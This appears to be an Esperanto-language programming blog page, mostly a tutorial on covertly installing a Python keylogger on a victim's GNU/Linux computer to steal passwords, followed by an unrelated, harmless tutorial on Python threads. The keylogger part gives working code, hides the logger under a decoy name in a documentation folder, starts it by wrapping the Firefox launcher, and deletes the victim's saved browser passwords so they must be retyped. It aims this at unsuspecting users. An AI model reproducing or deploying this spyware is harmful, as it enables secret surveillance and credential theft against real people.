En ĉi tiu artikolo mi montras al vi kiel programi klavaroregistrilon, kiu sendas mesaĝojn per retpoŝto kaj detruiĝas post difinita dato.
Legu plu el Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝiKategorio: Python
Baza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn
Simpla maniero ŝteli pasvortojn estas instali klavaroregistrilon (keylogger) en la komputilo de nia viktimo. Mi montros kiel fari tion en GNU/Linukso per la Python-programlingvo.
Unue ni devas akiri permesojn de ĉefuzanto. Se la komputilo estas administrita de ni, ni jam scias la pasvorton. Se tio ne estas nia okazo, ni povas akiri aliron de ĉefuzanto per GRUB. Per la necesaj permesoj ni jam povas instali la klavaroregistrilon.
Unue, oni devas instali la pynput
-bibliotekon per...
sudo pip install pynput
Sekve ni devas skribi la klavaroregistrilon. Jen la kodo, kiun ni uzos:
#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging
log_dir = "/usr/share/doc/python3/"
logging.basicConfig(filename=(log_dir + "log"), \
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
La klavaroregistrilo konserviĝas en log_dir
. Mi, ĉi-okaze, specifis la
dokumentaran dosieron de Python 3 en GNU/Linukso. Ni ankaŭ povas
konservi la klavaroregistrilon en tiun dosierujon, eble uzante la nomon
compile_docs.py
aŭ iun similan, por ne altiri la atenton.
Plej bone estas elekti dosierujon, kiun la viktimo ne eniros, por eviti,
ke ri ne rimarku tion, kion ni faras.
Fine ni devus plenumi la programon ĉiam, kiam oni ŝaltu la komputilon aŭ
programo estu plenumita, sen ke la viktimo rimarku. Se, ekzemple, ni
volas startigi la klavaroregistrilon ĉiam, kiam la uzanto malfermu
Firefox-on, ni povas modifi la Firefox-komandon. Ni povas alinomi
firefox
1 al firefox.bin
kaj krei la jenan dosieron nomitan
firefox
.
python3 /usr/share/doc/python3/compile_docs.py &
exec firefox.bin "$@"
Por scii kiu firefox
-dosiero estas plenumita, kiam ni premas ĝian
bildeton, ni devas iri al
/usr/share/applications
, eniri la dosieron firefox.desktop
(aŭ
firefox-esr.desktop
) kaj serĉi la linion, kiu komenciĝas per Exec
.
Sekve ni devus doni al ĝi skribpermesojn por aliaj uzantoj malsamaj ol
root
al la dosierujo, kie ni konservos la klavaroregistrilon:
sudo chmod o+w /usr/share/doc/python3
Finfine ni devus atendi ĝis la viktimo uzu la komputilo por atingi riajn
pasvortojn aŭ ĉian ajn informon, kiun ri tajpu, kiun ni volas akiri. La
registroj de klavoj estos konservita en la dosiero
/usr/share/doc/python3/log
. Sed estu singarda: la dosiero povus preni
multe da spaco, se vi ne forigas ĝin de tempo al tempo; do plej bone
estus malinstali la klavaroregistrilon post la akiro de la informoj,
kiujn vi bezonas. Alia opcio estas agordi ĝin, por ke ĝi sendu la
informon de tajpado per retpoŝto anstataŭ konservi ĝin en dosieron. Tiel
ĝi ne prenus multe da spaco en la viktimula komputilo; sed tiu metodo
postulas, ke ni uzu retadreson2.
Se la viktimo havas la pasvortojn konservitajn en la retumilo kaj ne
bezonas skribi ilin denove, ni povas forigi la dosieron de pasvortoj,
por ke ĝi estu devigita enigi ilin denove. Resume, ni povas ruze akiri
multe da informo, speciale se ni uzas ĉi tiun metodon kontraŭ
amatoraj uzantoj, kiuj ne multe suspektos. Por progresintaj uzantoj eble
plej bonas kompili la compile_docs.py
-programon per
Nuitka, kiel mi montras en la sekva
artikolo.
Fadenoj en Python
La komputaj fadenoj permesas al ni fari taskojn samtempe. En Python ni povas uzi la modulon threading, sed estas multaj aliaj.
Ni kreos kelkajn simplajn fadenojn (threads).
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import threading
import time
import random
def sleeper(name, s_time):
print('{} komencita je {}.'.format(
name, time.strftime('%H:%M:%S', time.gmtime())))
time.sleep(s_time)
print('{} finiĝis je {}.'.format(
name, time.strftime('%H:%M:%S', time.gmtime())))
for i in range(5):
thread = threading.Thread(target=sleeper, args=(
str(i + 1) + 'a fadeno', random.randint(1, 9)))
thread.start()
print('Mi finiĝis, sed la aliaj fadenoj ne.')
Unue ni importis la bezonatajn modulojn: time
, random
kaj
threading
. Por krei je threads ni nur bezonas la lastan. Je time
ni uzis por simuli takson kaj akiri ĝian tempo de komenco kaj fino;
random
havigas al nia takso hazardan daŭron.
La funkcio sleeper «dormas» (faras nenion) dum la tempo kiu ni specifas, diras al ni kiam komencis «dormi» kaj kiam finis «dormi». Kiel parametroj ni donas la nomon, kiu ni volas doni al la fadeno, kaj la tempon, dum kiu «dormos» la funkcion.
Poste ni kreas "por"-iteracion, kiu kreas 5 fadenojn, kiuj plenumas la
sleeper
-funkcion. En la konstruilo (threading.Thread
) ni devas diri
la funkcion por plenumi (target=sleeper
) kaj la parametrojn, kiujn ni
volas doni al ĝi
(args=('str(i + 1) + 'a fadeno', random.randint(1, 9))
).
1a fadeno komencita je 15:17:07.
2a fadeno komencita je 15:17:07.
3a fadeno komencita je 15:17:07.
4a fadeno komencita je 15:17:07.
5a fadeno komencita je 15:17:07.
Mi finiĝis, sed la aliaj fadenoj ne.
3a fadeno finiĝis je 15:17:13.
5a fadeno finiĝis je 15:17:13.
2a fadeno finiĝis je 15:17:14.
4a fadeno finiĝis je 15:17:14.
1a fadeno finiĝis je 15:17:16.
La resulto de la plenumo estas hazarda: ni ne scias kiu fadeno finos unue.